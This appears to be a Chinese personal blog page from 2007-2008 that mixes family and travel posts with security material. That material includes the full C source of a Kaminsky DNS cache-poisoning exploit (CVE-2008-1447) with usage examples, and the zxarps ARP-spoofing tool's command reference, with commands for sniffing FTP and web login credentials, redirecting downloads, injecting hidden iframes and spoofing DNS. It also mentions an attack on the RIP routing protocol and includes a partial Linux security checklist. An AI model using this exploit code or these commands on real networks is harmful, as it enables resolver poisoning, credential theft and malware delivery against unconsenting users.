正在加载...
 
奥运日blog之  

如题,做个记号

浏览数(59) | 评论数(1) | 08-08 09:29
这个比google地图爽多了  

 http://heroot.3322.org/

 

 

 

 

浏览数(58) | 评论数(0) | 08-02 16:13
如何查询在同一虚拟主机上域名  

 http://www.myipneighbors.com/    用这个.还可以查到2级域名

 

http://whois.webhosting.info/

 

http://www.rootkit.net.ru/tools

 

www.114best.com/ip

 

http://ip.wen.la

 

 

用于备录

浏览数(59) | 评论数(0) | 08-02 10:54
Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack  

不要用来干坏事呀

 

download

www.i170.com/Attach/93B5A865-4122-4831-8CFE-950206894801

 

/*
 * Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack
 *
 * Compilation:
 * $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm
 *
 * Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
 *
 * Author: marc.bevand at rapid7 dot com
 */

#define _BSD_SOURCE

#include <sys/types.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#include <unistd.h>
#include <dumbnet.h>

#define DNSF_RESPONSE      (1<<15)
#define DNSF_AUTHORITATIVE (1<<10)
#define DNSF_REC_DESIRED   (1<<8)
#define DNSF_REC_AVAILABLE (1<<7)

#define TYPE_A       0x1
#define TYPE_NS      0x2
#define CLASS_IN     0x1

struct dns_pkt
{
   uint16_t txid;
   uint16_t flags;
   uint16_t nr_quest;
   uint16_t nr_ans;
   uint16_t nr_auth;
   uint16_t nr_add;
} __attribute__ ((__packed__));

void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)
{
   unsigned bufi, i, j;
   bufi = i = j = 0;
   while (name[i])
   {
      if (name[i] == '.')
      {
         if (bufi + 1 + (i - j) > size)
            fprintf(stderr, "format_domain overflow\n"), exit(1);
         buf[bufi++] = i - j;
         memcpy(buf + bufi, name + j, i - j);
         bufi += i - j;
         j = i + 1;
      }
      i++;
   }
   if (bufi + 1 + 2 + 2 > size)
      fprintf(stderr, "format_domain overflow\n"), exit(1);
   buf[bufi++] = 0;
   *len = bufi;
}

void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)
{
   uint16_t tmp;
   // name
   format_domain(buf, size, len, name);
   // type
   tmp = htons(type);
   memcpy(buf + *len, &tmp, sizeof (tmp));
   *len += sizeof (tmp);
   // class
   tmp = htons(class);
   memcpy(buf + *len, &tmp, sizeof (tmp));
   *len += sizeof (tmp);
}

void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)
{
   format_qr(buf, size, len, name, type, class);
   // ttl
   ttl = htonl(ttl);
   memcpy(buf + *len, &ttl, sizeof (ttl));
   *len += sizeof (ttl);
   // data length + data
   uint16_t dlen;
   struct addr addr;
   switch (type)
   {
      case TYPE_A:
         dlen = sizeof (addr.addr_ip);
         break;
      case TYPE_NS:
         dlen = strlen(data) + 1;
         break;
      default:
         fprintf(stderr, "format_rr: unknown type %02x", type);
         exit(1);
   }
   dlen = htons(dlen);
   memcpy(buf + *len, &dlen, sizeof (dlen));
   *len += sizeof (dlen);
   // data
   unsigned len2;
   switch (type)
   {
      case TYPE_A:
         if (addr_aton(data, &addr) < 0)
            fprintf(stderr, "invalid destination IP: %s", data), exit(1);
         memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));
         *len += sizeof (addr.addr_ip);
         break;
      case TYPE_NS:
         format_domain(buf + *len, size - *len, &len2, data);
         *len += len2;
         break;
      default:
         fprintf(stderr, "format_rr: unknown type %02x", type);
         exit(1);
   }
}

void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)
{
   u_char *out = buf;
   struct dns_pkt p = {
      .txid = htons(txid),
      .flags = htons(flags),
      .nr_quest = htons(1),
      .nr_ans = htons(0),
      .nr_auth = htons(0),
      .nr_add = htons(0),
   };
   u_char qr[256];
   unsigned l;
   format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);
   if (sizeof (p) + l > size)
      fprintf(stderr, "dns_query overflow"), exit(1);
   memcpy(out, &p, sizeof (p));
   out += sizeof (p);
   memcpy(out, qr, l);
   out += l;
   *len = sizeof (p) + l;
}

void dns_response(u_char *buf, unsigned size, unsigned *len,
      uint16_t txid, uint16_t flags,
      const char *q_name, const char *q_ip,
      const char *domain, const char *auth_name, const char *auth_ip)
{
   u_char *out = buf;
   u_char *end = buf + size;
   u_char rec[256];
   unsigned l_rec;
   uint32_t ttl = 24*3600;
   struct dns_pkt p = {
      .txid = htons(txid),
      .flags = htons(flags),
      .nr_quest = htons(1),
      .nr_ans = htons(1),
      .nr_auth = htons(1),
      .nr_add = htons(1),
   };
   (void)domain;
   *len = 0;
   if (out + *len + sizeof (p) > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);
   // queries
   format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // answers
   format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,
         ttl, q_ip);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // authoritative nameservers
   format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,
         ttl, auth_name);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // additional records
   format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,
         ttl, auth_ip);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
}

unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)
{
   unsigned len = 0;
   // ip
   struct ip_hdr *ip = (struct ip_hdr *)buf;
   ip->ip_hl = 5;
   ip->ip_v = 4;
   ip->ip_tos = 0;
   ip->ip_id = rand() & 0xffff;
   ip->ip_off = 0;
   ip->ip_ttl = IP_TTL_MAX;
   ip->ip_p = 17; // udp
   ip->ip_sum = 0;
   struct addr addr;
   if (addr_aton(srcip, &addr) < 0)
      fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
   ip->ip_src = addr.addr_ip;
   if (addr_aton(dstip, &addr) < 0)
      fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
   ip->ip_dst = addr.addr_ip;
   // udp
   struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
   udp->uh_sport = htons(1234);
   udp->uh_dport = htons(53);
   // dns
   dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,
         (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
         rand(), DNSF_REC_DESIRED, name);
   // udp len
   len += UDP_HDR_LEN;
   udp->uh_ulen = htons(len);
   // ip len & cksum
   len += IP_HDR_LEN;
   ip->ip_len = htons(len);
   ip_checksum(buf, len);
   return len;
}

unsigned build_response(u_char *buf, const char *srcip, const char *dstip,
      uint16_t port_resolver, uint16_t txid,
      const char *q_name, const char *q_ip,
      const char *domain, const char *auth_name, const char *auth_ip)
{
   unsigned len = 0;
   // ip
   struct ip_hdr *ip = (struct ip_hdr *)buf;
   ip->ip_hl = 5;
   ip->ip_v = 4;
   ip->ip_tos = 0;
   ip->ip_id = rand() & 0xffff;
   ip->ip_off = 0;
   ip->ip_ttl = IP_TTL_MAX;
   ip->ip_p = 17; // udp
   ip->ip_sum = 0;
   struct addr addr;
   if (addr_aton(srcip, &addr) < 0)
      fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
   ip->ip_src = addr.addr_ip;
   if (addr_aton(dstip, &addr) < 0)
      fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
   ip->ip_dst = addr.addr_ip;
   // udp
   struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
   udp->uh_sport = htons(53);
   udp->uh_dport = htons(port_resolver);
   // dns
   dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,
         (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
         txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,
         q_name, q_ip, domain, auth_name, auth_ip);
   // udp len
   len += UDP_HDR_LEN;
   udp->uh_ulen = htons(len);
   // ip len & cksum
   len += IP_HDR_LEN;
   ip->ip_len = htons(len);
   ip_checksum(buf, len);
   return len;
}

void usage(char *name)
{
   fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "
         "<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\n"
         "  <ip-querier>       Source IP used when sending queries for random hostnames\n"
         "                     (typically your IP)\n"
         "  <ip-resolver>      Target DNS resolver to attack\n"
         "  <ip-authoritative> One of the authoritative DNS servers for <domain>\n"
         "  <port-resolver>    Source port used by the resolver when forwarding queries\n"
         "  <subhost>          Poison the cache with the A record <subhost>.<domain>\n"
         "  <domain>           Domain name, see <subhost>.\n"
         "  <any-ip>           IP of your choice to be associated to <subhost>.<domain>\n"
         "  <attempts>         Number of poisoning attemps, more attempts increase the\n"
         "                     chance of successful poisoning, but also the attack time\n"
         "  <repl-per-attempt> Number of spoofed replies to send per attempt, more replies\n"
         "                     increase the chance of successful poisoning but, but also\n"
         "                     the rate of packet loss\n"
         "Example:\n"
         "  $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n"
         "This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n"
         "in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n"
         "this example (8192 attempts and 16 replies/attempt) is 86%%\n"
         "(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n"
         "2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"
         "8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n"
         "100 attempts/sec).\n",
         name, name);
}

int main(int argc, char **argv)
{
   if (argc != 10)
      usage(argv[0]), exit(1);
   const char *querier = argv[1];
   const char *ip_resolver = argv[2];
   const char *ip_authoritative = argv[3];
   uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);
   const char *subhost = argv[5];
   const char *domain = argv[6];
   const char *anyip = argv[7];
   uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);
   uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);
   if (domain[strlen(domain) - 1 ] != '.')
      fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1);
   printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));
   srand(time(NULL));
   int unique = rand() + (rand() << 16);
   u_char buf[IP_LEN_MAX];
   unsigned len;
   char name[256];
   char ns[256];
   ip_t *iph;
   if ((iph = ip_open()) == NULL)
      err(1, "ip_open");
   int cnt = 0;
   while (cnt < attempts)
   {
      // send a query for a random hostname
      snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain);
      len = build_query(buf, querier, ip_resolver, name);
      if (ip_send(iph, buf, len) != len)
         err(1, "ip_send");
      // give the resolver enough time to forward the query and be in a state
      // where it waits for answers; sleeping 10ms here limits the number of
      // attempts to 100 per sec
      usleep(10000);
      // send spoofed replies, each reply contains:
      // - 1 query: query for the "random hostname"
      // - 1 answer: "random hostname" A 1.1.1.1
      // - 1 authoritative nameserver: <domain> NS <subhost>.<domain>
      // - 1 additional record: <subhost>.<domain> A <any-ip>
      snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);
      unsigned r;
      for (r = 0; r < replies; r++)
      {
         // use a txid that is just 'r': 0..(replies-1)
         len = build_response(buf, ip_authoritative, ip_resolver,
               port_resolver, r, name, "1.1.1.1", domain, ns, anyip);
         if (ip_send(iph, buf, len) != len)
            err(1, "ip_send");
      }
      cnt++;
   }
   ip_close(iph);
   return 0;
}

// milw0rm.com [2008-07-25]

标签:技术文章 | 浏览数(94) | 评论数(1) | 07-29 20:50
baby 8 monthes  

baby 8 monthes

 

 

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

浏览数(101) | 评论数(2) | 07-24 08:27
满5月沐浴中  

 

 

 

 

 

 

 

浏览数(345) | 评论数(2) | 04-20 15:02
Baby Dad Computer Network  

 

 

浏览数(370) | 评论数(2) | 04-20 14:56
国务院之清明节放假通知  

http://news.sina.com.cn/c/2008-03-14/065915146555.shtml

 

根据国务院办公厅通知精神,现将2008年清明节放假安排通知如下:

  4月4日至6日放假,共3天。

  其中,4月4日(清明节)为法定节假日,4月5日(星期六)、4月6日(星期日)照常公休。各企事业单位可根据生产和工作情况自行安排。节日期间,各单位要加强值班,认真做好防火、安全保卫和卫生防疫等各项工作。

  北京市人民政府办公厅二○○八年三月十四日

 

 

浏览数(552) | 评论数(0) | 03-14 13:33
来到了传说中的香格里拉,彻骨的冷  

来到了传说中的香格里拉,晚上零下十几度,大高原,冷得彻骨,远处的山上挂着白雪,水里结着冷,香格里拉市中心美丽的人工喷泉,喷泉二三十米高,可是喷泉池里结着厚厚的冰

 

大街上中午太阳睛好,人比较多,早上出来,街上就我们几个,一出来就感觉到刀子划向我的脸、手和我的裤管,哪叫一个冷 

这几天天气睛好,还好,看天气预报,两三天后要下雪,怎么办啊

 

而过几天还要去怒江,那可是大雪山啊

 

浏览数(1676) | 评论数(6) | 01-10 00:18
元旦快乐  

元旦快乐!

2008快乐!

浏览数(506) | 评论数(2) | 01-01 09:26
为我的宝贝写一点  

深夜了,给我的宝宝写一点

 

从湖南老家过来广州有两天了,愈发想念我的宝宝

 

宝宝到今天出生有12天了

 

我的宝宝

一出生头发就黑黑的,长长的,密密的,这点很象他爸爸小时候。

 

两只小手手张得大大的,指头伸得很开,一看将来又是个不聚财的家伙,这个象极了他爸爸妈妈.

 

也不怎么哭闹,吃完了就睡,饿了就会哭两声来提醒,就是吃奶的时间有些长,把他妈妈累得够怆,一顿奶可以吃两三个小时,分两次吃,第一次睡醒了哭两声,就知道要吃奶了,吃了一半不吃了,这会儿就知道要大小便了,大小便完了又继续吃,吃完了就满足的睡去,睡着的时候打着饱嗝,一下一下的。

 

要大小便了也会哭两声来提醒,所以很多时候就不会把大小便拉到尿片上,要大便之前还会放个屁来预告一下,如果要小便,小JJ头会被尿涨得挺挺的,让你一见就知道马上要拉尿了

 

白天醒着的时间不多,醒着的时候眼睛睁着爸爸的脸,眼珠子一转一转的,受不了强光,在医院的时候日光灯太强了,一打开灯灯光直射到眼睛就闭上了,在家钨丝灯(不敢开日光灯了)柔和的灯光宝宝很喜欢。晚上就闹腾了,而且晚上吃奶的时间特别长,一顿奶两三个小时大多在晚上,折腾他妈妈,爸爸又要起来给妈妈弄吃的去,妈妈给他吃饿了。

 

爷爷奶奶也象个孩子一样,要跟妈妈抢着晚上和宝宝一起睡,现在爸爸来广州了,奶奶如愿以偿的跑到妈妈房间整晚上的陪着宝宝了。爷爷坐不住了,要把宝宝晚上抱过去,吃奶时送过来给妈妈,说和爷爷睡整晚上不哭不闹腾宝宝最乖了,并说在医院里有两晚爷爷抱着整晚上都安安静静的,这倒让我感受到了爷爷招呼小孩的功夫,是啊,我们兄弟几个都是他养大的。

 

最后要说的是,楚姐送宝宝的礼物,在老家我打开发现里面还有张卡片,有楚姐、周宁、越武和小伊给宝宝起的名字和祝福,真的让我很感动。楚姐最是为我的宝宝费心了,为宝宝的名字楚姐去英特网找好名字,我给宝宝起的刘创的名字给楚姐测出来只打75分,楚姐给起的刘星辰(超毅也起过这名字)和刘湘湘分别打99.5(完美了)和85的高分,呵呵J

 

浏览数(641) | 评论数(6) | 2007-12-06
baby's photo  

浏览数(647) | 评论数(3) | 2007-12-04
MY BABY  

我的宝宝还有三十多天就要出生了,我却还在云南忙项目,而且这个项目估计要弄到12月底

 

宝宝的名字还没有想好

 

 

就要从儿子的身份变成父亲了,希望我的宝宝将来是个有出息的人,胜过他爸爸,一生幸福,快乐

浏览数(515) | 评论数(4) | 2007-10-19
IBM thinkpad T42的破机上用虚拟机装Ubuntu-server,浪费了几个小时,终于找到原因了  

  今天在vmware server 上安装了Ubuntu Server 6.10。安装一切顺利,但无法启动。提示
              "Unknown interrupt or fault at EIP 00000060 c0100295 00000294"。
网上搜了一下,原来是server kernel在编译时打开了HIGHMEM64G支持,需要CPU支持PAE才行。试了他们的方法可以解决步骤如下:

使用ubuntu server安装光盘启动,选择"Rescue a broken system"选项,然后进行配置,在进行到"Rescue operations"的时候,选择"Execute a shell in /dev/hda1"(后面的路径会根据你的根分区而有所不同),然后运行"apt-get install linux-686",也就是安装新的generic内核(要有耐心速度相当慢),安装完成重启就OK了。

浏览数(706) | 评论数(0) | 2007-08-08
imb thinkpad win 键的烦恼 zz  

通过注册表来修改键位的方法
  
Keyboard Customizer Utility虽然提供win键的功能,但可选项太少。如果直接改注册表,就可以将任意键定义成其它键。
  
将以下等号间的文字copy到记事本中,存为.reg文件,再导入注册表,重启动,就可以实现将右Alt键定义为左Win键的功能(对2000及XP有效)
  
===================================================
Windows Registry Editor Version 5.00
  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\
02,00,00,00,\
5b,e0,38,e0,\
00,00,00,00
===================================================
  
解释一下
Value                    Interpretation  
0x00000000          Header: Version. Set to all zeroes.  
0x00000000          Header: Flags. Set to all zeroes.  
0x00000002          Two entries in the map (including null entry).  
0xE038E05B          Right ALT key --&gt; Windows key (0xE038 --&gt; 0xE05B).  
0x00000000          Null terminator.  
  
比较一下将左Alt键定义为左Win键的功能的注册表文件吧
===================================================
Windows Registry Editor Version 5.00
  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\
02,00,00,00,\
5b,e0,38,00,\
00,00,00,00
===================================================
就是右alt键的scancode:e038变成了左alt键的scancode:0038
  
大家自己想怎么改,就自己试吧
各个键位的scancode map在这儿下载:  
http://download.microsoft.com/download/whistler/hwdev3/1.0/WXP/EN-US/scancode.exe
  
以上方法对ps2键盘有效,usb键盘的scancode map跟ps2键盘不一样,对照表在这儿:
http://www.microsoft.com/hwdev/download/tech/input/translate.pdf

标签:乱弹琴 | 浏览数(767) | 评论数(0) | 2007-08-06
上安焦首页了,庆祝一下,嘎嘎  

http://www.xfocus.net/articles/200707/929.html

 

烂文在安焦发表了,自己庆祝一下,嘎嘎!

标签:技术文章 | 浏览数(818) | 评论数(0) | 2007-07-28
如何查看邮件信头  

转载

http://www.edu.cn/20030924/3091744.shtml

 

这个用于追踪邮件发送的IP地址与垃圾邮件的源头非常有效

 

另附上安焦大牛Refdom《追踪垃圾邮件来源》一文,点击下面下载

 

www.i170.com/Attach/38146837-4B26-4ED9-9FDC-1BAD516B8FE3

 

 

 

 

如何查看邮件信头
 
 
 

  1. Outlook Express(windows预装)
  2. Microsoft Outlook(office 套件)
  3. FoxMail
  4. Hotmail web mail
  5. Lotus Notes
  6. Sina Web Mail
  1. Microsoft Outlook Express
  第一步:选中邮件,鼠标右击邮件的主题,在下拉菜单中选择“属性”,如下图:

  第二步:在属性窗口中点击“详细信息”,如下图:


  通过窗口,您就可以看到该邮件标头的详细信息了。为了查看方便,可以单击”邮件来源”,就会放大当前的窗口。
  2. Microsoft Outlook
  第一步:选中邮件,鼠标右击邮件的主题,在下拉菜单中选择“选项(P)...”,如下图:

  第二步:在打开的“邮件选项”属性窗口的底部就可以找到邮件信头,如下图:

  3.Foxmail
  第一步:选中邮件,鼠标右击邮件的主题,在下拉菜单中选择“原始信息(Ctrl+I)...”,如下图:

  第二步:在打开的“邮件选项”属性窗口的底部就可以找到邮件信头,如下图:

  4. Hotmail Web Mail
  第一步:单击“选项” 栏,如下图:

  第二步:在“其它选项” 栏中,选择“邮件显示”设置,如下图:

  第三步:在“邮件头”的选项栏中,选择“高级”或“完整”,按“确定”,如下图:

  第四步:经过以上设置,打开邮件时即可显示邮件的信头路由信息,如果选择了“完整”,还可以查看邮件的源文件,如下图:

  5. Lotus Notes
  第一步:打开邮件,在菜单栏上依次选择“操作(Actions)”,“tools”,“Delivery Information” ,如下图:

 

  第二步:弹出的窗口中即可看到邮件的路由信息,如下图:

  6. 新浪WEB邮件
  在菜单栏上依次选择"查看源信“,就可以看到邮件的完整信息,如下图:

浏览数(960) | 评论数(0) | 2007-07-02
猛兽多是懒汉  

转自哇~老大之blog

 

这是一个奇怪的现象:猛兽大部分时间是慵懒的。猛虎肉醉,狮王常睡。越是在短时间爆发出迅猛搏杀的,越需要长时间养精蓄锐。狮、虎、豹、熊,多为懒汉,彻底放松,王者坦然。看看它们那种懒散随便的样子,就知道处于食物链顶端的肉食者何等自信。
  相反的一面就是草食动物基本上都是勤快的,要逐水草,要大迁徙,要不停地吃,要不停地生,还要随时提高警觉性,吃草要竖起耳朵,睡觉只能睁眼打个盹。马是站着睡觉的,除非病卧倒毙,不会躺下。在自然界,草食动物就是弱者,生存没有安全感,因而也没有懒的资格。
  人的社会不等同于自然界,但也不能完全摆脱自然法则。君不见,熙熙攘攘忙忙碌碌奔走求食之辈,多黑瘦勤快;懒懒散散不慌不忙稳坐高卧之流,皆肥白懒慢。固然,一个竞争激烈的社会,做一个真正的懒汉不容易了,但是当一个懒卧的狮子还是人生的高境界理想。首先,要有安全感,放心大胆地睡,没人能吃掉你。其次,要衣食住行无忧,不被贪欲所驱动。第三,知道自己是狮子,可为肉醉,不为肉累,保持那份坦然比多捞几只羚羊更珍贵。
  现在老是提倡进取,在物质利益方面,过于进取,则是贪欲。尤其当了狮子,贪则丑,懒则美。当一个懒汉是一种人生境界,因为,猛兽多是懒汉。

 

标签:乱弹琴 | 浏览数(905) | 评论数(0) | 2007-06-26
zxarps.exe ARP欺骗工具 zz  

超毅介绍的,必属精品 

 

程序下载:

www.i170.com/Attach/5DBBB105-17CC-4202-AB44-68429C6DD0C1

(怕毒的请不要下载 )

 

 

 

程序代码

0. Realtek RTL8139

 IP Address. . . . . : 192.168.1.101

 Physical Address. . : 00-11-D8-6B-5E-19

 Default Gateway . . : 192.168.1.1

1. WAN (PPP/SLIP) Interface

 IP Address. . . . . : xx.xx.xx.xx

 Physical Address. . : 00-52-00-00-00-00

 Default Gateway . . : xx.xx.xx.xx

options:

 -idx [index] 网卡索引号

 -ip [ip] 欺骗的IP,用'-'指定范围,','隔开

 -sethost [ip] 默认是网关,可以指定别的IP

 -port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口

 -reset 恢复目标机的ARP表

 -hostname 探测主机时获取主机名信息

 -logfilter [string]设置保存数据的条件,必须+-_做前缀,后跟关键字,

 ','隔开关键字,多个条件'|'隔开

 所有带+前缀的关键字都出现的包则写入文件

 带-前缀的关键字出现的包不写入文件

 带_前缀的关键字一个符合则写入文件(如有+-条件也要符合)

 -save_a [filename] 将捕捉到的数据写入文件 ACSII模式

 -save_h [filename] HEX模式

 -hacksite [ip] 指定要插入代码的站点域名或IP,

 多个可用','隔开,没指定则影响所有站点

 -insert [html code]指定要插入html代码

 -postfix [string] 关注的后缀名,只关注HTTP/1.1 302

 -hackURL [url] 发现关注的后缀名后修改URL到新的URL

 -filename [name] 新URL上有效的资源文件名

 -hackdns [string] DNS欺骗,只修改UDP的报文,多个可用','隔开

 格式: 域名|IP,www.aa.com|222.22.2.2,www.bb.com|1.1.1.1

 -Interval [ms] 定时欺骗的时间间隔,默认是3秒

 -spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者

 -speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB

example:

 嗅探指定的IP段中端口80的数据,并以HEX模式写入文件

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log

 FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件

 zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log

 HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter "+POST ,+user,+pass" -save_a sniff.log

 用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探

 zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter "+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log

 如果嗅探到目标下载文件后缀是exe等则更改Location:为http://xx.net/test.exe

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/ -filename test.exe

 指定的IP段中的用户访问到-hacksite中的网址则只显示just for fun

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun<noframes>"

 指定的IP段中的用户访问的所有网站都插入一个框架代码

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "<iframe src='xx' width=0 height=0>"

 指定的两个IP的总带宽限制到20KB

 zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20

 DNS欺骗

 zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"

zxarps Build 01/17/2007 By LZX.

浏览数(1371) | 评论数(0) | 2007-06-19
[原创]找到了攻击RIP路由协议的方法,嘎嘎!  

找到了攻击RIP路由协议的方法,嘎嘎!

 

在此感谢二位黄先生,泽鸿(CCIE)给于我在动态路由协议上的很多指点(很久没摸路由器了,都忘干净了^_^),超毅(黑客之王)给于我对攻击思路的指点,感谢二位牛

 

对于运行RIP动态路由协议路由器的路由表可以通过本文的办法对其随意撰改,造成其路由表紊乱,并足以使其网络中断

 

 

不多说了,看附件

 

www.i170.com/Attach/4EDE0467-3D5B-468F-9EBB-0202F9024853

ps:附件暂时加密,等段时间了再发不加密的附件,如果想要密码的朋友也可以通过各种方式联系我

当然,如果您有足够的时间,您可以自己爆破它~

标签:技术文章 | 浏览数(1490) | 评论数(4) | 2007-06-09
LINUX Security CheckList  

转载

http://blog.chinaunix.net/u/22117/showart.php?id=145271

1       系统信息

1.1 主机名、域名信息检查

1.1.1    说明:

得到系统主机名、域名

1.1.2    检查方法:

hostname    domainname

1.1.3    结果分析方法:

# hostname

cat

# domainname

(none)

1.2 系统版本信息检查

1.2.1    说明:

得到系统版本信息

1.2.2    检查方法:

uname -a

1.2.3    结果分析方法:

# uname -a

Linux Sec 2.4.19 #17 SMP Wed Oct 30 14:18:13 CST 2002 i686 i686 i386 GNU/Linux

1.2.4    备注:

本例输出中系统内核版本为2.4.19

 

1.3 网卡信息检查

1.3.1    说明:

得到网卡信息

1.3.2    检查方法:

ifconfig -a

1.3.3    结果分析方法:

# ifconfig -a

1.3.4    备注:

HWaddr:MAC地址

inet addr:IP地址

Bcast:广播地址

Mask:掩码

 

如果系统已经安装iproute2(通过rpm -qa | grep iproute确认),则可以使用ip命令获得网卡信息。

获得网卡地址:

# ip add ls

 获得网卡信息:

# ip link ls

 获得系统ARP表:

# ip neigh ls

 获得系统路由表:

# ip ro ls

 

更多ip命令请参考ip(8),即# man 8 ip

 

1.4 系统路由信息检查

1.4.1    说明:

得到系统路由信息

1.4.2    检查方法:

netstat –r    ip ro ls

1.4.3    结果分析方法:

# netstat -r

 

# ip ro ls

 

1.4.4    备注:

如果系统支持ip命令,建议使用ip命令进行信息检查。

 

1.5 系统加载模块信息检查
1.5.1    说明:

查看系统已加载的模块

1.5.2    检查方法:

lsmod

1.5.3    结果分析方法:

# lsmod

2       补丁安装情况

2.1 系统已安装的rpm包信息检查

2.1.1    说明:

得到系统已经安装的rpm包列表

2.1.2    检查方法:

rpm -qa

2.1.3    结果分析方法:

# rpm -qa

 

3       帐号和口令

3.1 系统空密码帐号信息检查

3.1.1    说明:

查看系统是否存在空密码帐号

3.1.2    检查方法:

awk -F: '($2 = = "") { print $1 }' /etc/shadow

3.1.3    结果分析方法:

# awk -F: '($2 = = "") { print $1 }' /etc/shadow

3.2 系统uid=0帐号信息检查

3.2.1    说明:

查看系统uid=0的帐号

3.2.2    检查方法:

awk -F: '($3 = = 0) { print $1 }' /etc/passwd

3.2.3    结果分析方法:

# awk -F: '($3 == 0) { print $1 }' /etc/passwd

root

3.2.4    备注:

